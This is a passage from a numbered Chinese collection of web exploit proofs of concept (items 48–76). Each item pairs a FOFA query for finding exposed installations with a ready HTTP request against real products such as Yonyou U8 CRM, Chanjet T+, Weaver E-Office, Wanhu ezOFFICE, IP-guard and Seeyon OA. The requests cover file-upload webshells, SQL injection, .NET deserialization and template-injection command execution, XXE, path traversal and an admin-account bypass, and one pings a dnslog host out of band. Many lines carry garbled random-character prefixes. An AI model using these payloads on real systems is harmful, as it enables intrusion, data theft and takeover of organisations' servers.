Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
( ^, G0 D( V0 U+ G8 t" [( b0 YConnection: close
" v1 E! ^$ U9 f9 \( n/ X
: K' V! y' f/ @; G* T; k' \8 k0 b
: R1 u0 Q# w  X& E7 E+ a# ?, E
48. 用友U8 CRM swfupload 任意文件上传
: }" Z% M7 }5 M7 k5 N, DFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
: M4 J5 _' Y0 r* H$ y& S2 G4 X5 x+ ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
. Q+ J) C1 \, x; j: G  Z8 r------269520967239406871642430066855
0 u' W/ d: G. h" L: vContent-Disposition: form-data; name="upload"
6 b" R1 p! N5 Uupload
------269520967239406871642430066855--
: c- ^# J  u+ v8 [% j/ r: M
, _, Q% L# w. y" b" g
3 F% `# O9 ~' Y3 ]& T8 Y/ }2 v49. 用友U8 CRM系统uploadfile.php接口任意文件上传
, Q3 q: \, s: `3 G* ~7 cFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
3 F" Z( Z7 o0 k' pHost: x.x.x.x
9 ?% r  K- s9 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
1 j$ y# m7 X6 x1 L; d3 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: g0 N# `5 }1 f' A5 S& f& v' KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% ^: J1 j  c% AConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
. F2 p$ N- G9 {: m" K7 @2 U
wersqqmlumloqa
! N' [$ _! |' A& l2 d. V" l% O-----------------------------vvv3wdayqv3yppdxvn3w
) ^1 m& I' m  F: S+ f2 a8 ZContent-Disposition: form-data; name="upload"
5 }% @4 N" V1 \2 \
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
8 Z, L; H2 ^+ e: ]1 v

http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
2 m1 l2 c! \; K4 xFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
( N3 {+ y7 I) D; O) lHost: x.x.x.x
, h5 y# {, i* w" zUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 P) c- z; D# C) I) w* RConnection: close
. ~8 v) H3 w, E) W+ d& gContent-Length: 224
9 j# j. ?) `; u0 }, @1 ^Accept: */*
3 {: }: X6 h8 Y+ ^Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

8 M6 w$ b+ n' ?0 E( P8 D0 r3 psearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

4 T4 D3 A. g# `: T3 e/ W
1 {9 ^% @; `* W% V7 o' ^3 _51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
& ]# Y. c7 ?- _% V3 [+ DUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
6 g2 a7 {8 k# e) m) `Accept-Language: zh-CN,zh;q=0.9
' |0 w- f, V  N/ T% k9 J2 p, q/ WConnection: close

4 y  {. E+ [8 i* [- C! n
0 l- [/ H# y1 V( c1 L7 a% }52. 泛微E-Office json_common.php sql注入
3 \* M$ q0 C* j" K7 JFOFA：app="泛微-EOffice"
' Y5 v' T: t- W5 x- iPOST /building/json_common.php HTTP/1.1
, M/ @( g, E1 f* fHost: 192.168.86.128:8097
* R/ m0 m* S$ I" p5 LUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 F7 v, N+ ~5 M) aConnection: close
Content-Length: 87
' b8 c, w/ B3 s3 qAccept: */*
, [. r) A+ c6 p/ W* CAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
: |. @5 c3 Z7 J, ^FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1 _- k) o5 K5 J- ~, ]  Z! j
* L' H) [$ c  d1 U. X54. 畅捷通T+ getstorewarehousebystore 远程代码执行
/ K/ P6 ~3 r0 ]$ XFOFA：app="畅捷通-TPlus"
' p8 E$ N! P+ |3 E8 o第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
0 g; Z- R& H- w) m"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
& `/ u4 g- @+ L8 |  }# mPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
& e. n  h9 G3 B- Z: j5 CUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
5 b# O& B( K" b. F, |/ F
5 a# ^: {1 m" {  o( C  [% p{
, e2 D6 f9 W% m, {5 k"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
* ^. L# T) F2 X( L7 m "MethodName":"Start",
- w6 q$ e0 Q. O, O2 Z  "ObjectInstance":{
! \. q7 Q" |& R2 o$ m& F: z4 D   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. y, C( W7 L6 ^1 v; R- m% A    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
' d% p3 t" T( C4 |+ j    }
* T6 o& q4 t/ u7 ~% q" |$ U  }
. R, t2 T$ e: n+ ^; F' I  }
' s' m+ ^/ T4 w: ]/ \4 Q! T9 y}


- z! k5 e$ h# h) J+ e- i第二步，访问如下url
1 |3 E. s1 T' ~+ e0 n% j/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
9 I" u/ j6 P; F4 t
2 W# L2 A; C% H5 {' O
$ T& J1 ]+ `( H( {% Q0 _55. 畅捷通T+ getdecallusers信息泄露
6 j5 u- g+ P+ U% \' [) I: }FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
8 w# G4 T6 _3 I# x: o2 Y8 j7 V. o第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
- i* A9 `, ~( oPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
4 D4 h3 z" B% N3 l4 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

# N! @8 S; q. d% d$ A{
  "storeID":{
7 l& O6 c) R: i* t' ?    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
* u: K; {% W2 b8 d. l! |       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
# B3 Y" v; g7 f: C. m% w           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
7 r2 q# I0 ~' n0 z7 ?5 B       }
    }
  }
}
4 L$ h* g2 n* X9 U: \' n7 ?" M
! O, e6 w+ k  Y: W  L" z
: k1 L/ i( s: i* F2 n57. 畅捷通T+ keyEdit.aspx SQL注入
8 y7 f+ _) ?3 G8 @( u' D8 m' v6 I$ TFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' W& F7 u8 M& t3 j% ~; AAccept-Charset: utf-8
/ ?0 w6 n9 Q/ MAccept-Encoding: gzip, deflate
Connection: close

3 `8 ?5 U' i  m; s: B3 w/ |
6 }. F9 V, U) M: Z7 H; u58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
# b* D6 O; r: `3 z9 EHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 q) x8 `, s4 I4 U/ Z2 x8 XAccept-Encoding: gzip, deflate
Connection: close


4 ?6 m+ X+ I2 d0 _, F! T59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
2 K" p  R  `7 hPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
9 W  H' |' @- {" w2 CHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
, t6 O8 u0 z8 R6 G7 n3 J, zContent-Length: 1669
Accept: */*
' j2 m# P. J- V+ J8 d* `: f) FAccept-Language: en
, R+ n* D/ K; |' b. c/ ~. tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
% j. @8 _! u# @7 {3 i8 y! }
PAYLOAD
& W* W- p" C8 t7 }

60. 百卓Smart管理平台 importexport.php SQL注入
, K# f6 w. N: _2 [( O- H% w  ~2 iFOFA：title="Smart管理平台"
0 t8 N  y9 O8 H( m' l2 Y- jGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
( f/ v; R# X; PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 L( _' T  k% bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" [( O& a7 Y* v6 ^2 }Accept-Encoding: gzip, deflate
( @  L  a, J" i: I4 z+ M& @0 G3 {Accept-Language: zh-CN,zh;q=0.9
Connection: close

( i' [3 h+ b' H
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
5 m6 o# K  U& J! t. ~FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
! B8 P5 `! F4 D) w8 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 L3 F* Q6 j2 K* p, xConnection: close
Content-Length: 27
Accept: */*
: I1 ~' q9 l, BAccept-Encoding: gzip, deflate
Accept-Language: en
) V% ~$ a/ Y9 Y- X  S! |% TContent-Type: application/x-www-form-urlencoded
* z. b1 h# |& a+ P) G" r
/ d, S% A* `3 q. Y$ B8uxssX66eqrqtKObcVa0kid98xa

5 R4 x. R) d7 J1 D8 b* A2 W1 H
62. IP-guard WebServer 远程命令执行
  W8 m3 g) ~$ n' ]- W9 A# @; gFOFA："IP-guard" && icon_hash="2030860561"
9 O+ K- E7 c2 a  AGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
8 S+ t/ Y' s* wUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
! Y& P% Z* b4 ]: M) s1 p+ g" w& BConnection: close
4 R3 D% C- ?" J2 W) [Accept: */*
8 V/ w4 `# C+ |9 h% m+ @Accept-Language: en
0 j4 g" w% E( n1 ^" r9 hAccept-Encoding: gzip
+ L! }3 T% s2 W
5 x* v. V' _$ O
访问
0 Y% L/ f( K% u+ N) Z# X
/ K4 ]. n, p. Z' i1 h* h& eGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
% t# d# y( ?$ V! q& c2 B! pHost: x.x.x.x
( m% f% B2 c: O8 z3 V
3 l4 O6 {$ N7 M* c: u  s1 Q9 X" s
) j! y$ S, }! R63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
& U1 o- x+ B# f. M, v+ ]. |POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& }3 _4 U0 {0 s4 H, V( C, U7 eAccept-Language: zh-CN,zh;q=0.9
# ]" N# ?& D' x  h  ^4 uConnection: close
Content-Type: application/x-www-form-urlencoded

, ?6 d5 \( |' I4 B4 vpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
6 K7 c- c' w# d" P7 g
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
3 ?% |7 f' `; |8 J* NFOFA：body="/Scripts/EnjoyMsg.js"
% x2 p. W  b; B4 W+ LPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
" ~$ u! i% {2 Y" o4 PConnection: close
; B5 q+ O# z6 E# m, F' vContent-Length: 369
! c- t" y6 ^$ j- |7 f2 \. R4 G2 lAccept: */*
# A* _; T& V: W( |Accept-Language: en
! ~& W+ m% O- M" bContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
+ d0 R) C0 l, n$ Z2 H- s; q( R
" N# T- b& |, J! v<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ A. e4 h9 H# o7 T% t! \  U. n<soap:Body>
: H: q6 \& V+ W& q- R: d    <GetOSpById xmlns="http://tempuri.org/">
" d% |! `) t9 @; h- E3 V: [      <sId>1';waitfor delay '0:0:5'--+</sId>
  S7 s+ f5 D* }7 b0 n; T    </GetOSpById>
: P" L1 B7 i3 m% U  </soap:Body>
5 t+ N% I/ \6 B; v6 W' V</soap:Envelope>
- f3 Y; j: X# N) q. }/ t

+ B2 j) \8 @/ i  ^1 y1 L7 F65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
1 B' {6 f7 f# @$ }' }% t/ ?& x, zFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
% C/ z' N: O' c3 Z- j; C6 ?% m; @响应200即成功创建账号test123456/123456
& m* L2 q6 u2 e' vPOST /SystemMng.ashx HTTP/1.1
: ~  B  b) f4 A$ v, d/ |  {; ]Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
! b" A3 ?6 h; u5 C, t% y6 R6 EAccept-Encoding: gzip, deflate
Accept: */*
3 M" ^2 Z* f) G3 ]  n+ a8 |& CConnection: close
& e# l$ Y2 }, h( T# [/ \Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


" n8 ^# R4 e$ Q& a' P66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
4 C3 W, L9 A3 b: m: z2 ^8 j/ gFOFA：app="万户ezOFFICE协同管理平台"
. }1 k( o+ h( q% u
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
; s4 i# p0 y, QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 O+ Y  u! k9 N5 w6 cConnection: close
Accept: */*
Accept-Language: en
9 h! N7 M7 i: _3 a+ q5 l* l& G" dAccept-Encoding: gzip
1 Q) Q) S. Q( [" E( q/ L" u
# k7 |( U/ _8 R* m. ^  u
2 L$ I! F( t" y' `" H: q第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
' E: ~( B8 P! b! h- }$ mFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
6 k- F+ n5 ?; Z. @+ wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
4 |& f0 C$ q0 B& pContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  C: Q  w4 `3 Q, _# c0 uConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
5 ^6 q, d+ R& T' W% pUpgrade-Insecure-Requests: 1

0 ~6 ^. b4 l; Y. Q# g+ I0 B& x--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
  Z- H; q# N& Z* N5 m
<% out.print("sasdfghjkj");%>
/ c1 B; |7 d- g; y--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
3 \8 T, Z  Q# J
# ~9 ^7 M* `5 Q+ d8 I68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
  }! W4 h4 V& WHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
! e( I) G# \: S9 l- z; CAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 B3 h% t1 X5 @, Z4 l3 }  Z6 WConnection: close


* X# b1 t) o, N+ B: G" |5 }69. 万户 ezOFFICE contract_gd.jsp SQL注入
! n4 ]/ o! \1 d7 |: gFOFA：app="万户ezOFFICE协同管理平台"
9 \( B/ r5 A0 ]GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
" L2 Y% W+ q" r$ F6 m+ k# _Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; ~) o1 x' h( kAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
+ O+ `& X3 p5 s, x, z' B. w$ C
3 ?* r5 j4 h( Q% Z% C
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
/ V7 @  Q3 w4 p2 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! t1 ~. J$ Q, D* @* KSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
9 Q% @6 z+ C6 v8 ]) o2 lContent-Type: application/x-www-form-urlencoded
+ t4 D8 @1 L, y3 d+ J5 e' h# \( ^TYPE: C
* e0 C. {' S3 P; Q& Y4 OContent-Length: 16702

: I, H& |7 ?$ H, w; s4 {) K3 |__VIEWSTATE=PAYLOAD


5 I: Z% X% _2 N6 H* I+ p71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
* e/ J  Z& i) T" oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 W# z) V$ s; C, G% QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( Q0 \2 m+ H8 ^Upgrade-Insecure-Requests: 1

1 E+ K" n% Z. n8 g9 ?. T- v
72. 致远OA getAjaxDataServlet XXE
0 j7 i6 s2 F4 v9 v' T& ?9 z4 DFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
7 @, Y0 D3 J) F; U1 XHost: 192.168.40.131:8099
7 v) q# L! B" |6 `6 O" xUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 P0 S: y+ ]0 ^. @. w3 g5 cConnection: close
Content-Length: 583
1 N  T8 a. ]# R9 ]Content-Type: application/x-www-form-urlencoded
7 V" S5 j5 H. _# e& Q7 p. N7 W$ TAccept-Encoding: gzip

+ U4 r3 t9 I6 DS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
: a" h# [4 a9 R  JFOFA：icon_hash=”97540678”
2 K- l, l; |& nPOST /geoserver/wms HTTP/1.1
Host:
4 S+ D% E4 }# EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
+ b  O9 c  z. p  o) i2 L; S' R' W
; `4 P) f- U/ fPAYLOAD

& A  \% R2 ^+ k
6 A0 M$ }9 v0 ^/ l) ^: T* W3 j74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
# U, \, T9 {; ?" b+ HPAYLOAD

& s$ ~* Q" l, F0 b* y9 L75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
! A$ R9 U& K6 z! p$ ]& g- T' X$ UFOFA：app="TELESQUARE-TLR-2005KSH"
, N' Z# V8 j0 LGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 ~! V6 }$ o5 f7 G) lConnection: close
Accept: */*
1 W( \" h+ p' |Accept-Language: en
Accept-Encoding: gzip
7 n/ j1 K% z+ E
, m+ l+ y  e1 U4 L1 Z4 m6 p  [1 ?
( W4 j0 [/ S' W5 E% S1 WGET /cgi-bin/test28256.txt HTTP/1.1
. G# I1 X7 S( l$ f; lHost: x.x.x.x
# i: c# ]+ I  ?5 ~2 K, {8 u1 l

: e1 `: [9 N4 D! |5 C76. 新开普掌上校园服务管理平台service.action远程命令执行
0 R9 M+ n& l1 `; aFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
* v* k8 _# {; pHost: x.x.x.x
5 z) f3 ?7 k( q" M& MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
0 w9 G8 z% V: q' R% `9 C% b2 ]- qContent-Length: 211
* V$ ~* [/ O) t' t! V" ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: }" S& Y& \( g, Y6 z  LAccept-Encoding: gzip, deflate
& q! T% W+ h' ]! S/ uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* C3 U6 b( q- {1 D+ ^+ {  cCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
/ m4 i4 K. {  x, J3 I+ aUpgrade-Insecure-Requests: 1

& }" e9 Y  i4 n' l; w% k2 E! X7 w. O{
- O: Z* b" x# ~' c"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

- q# `% i9 m( l' W5 q
$ n2 Z5 h5 x9 w% l7 E4 r% dGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
' ?; a$ m2 O3 D3 {' [2 T+ YHost: x.x.x.x
, T, z1 v- K$ p2 M* V# `  ]  g
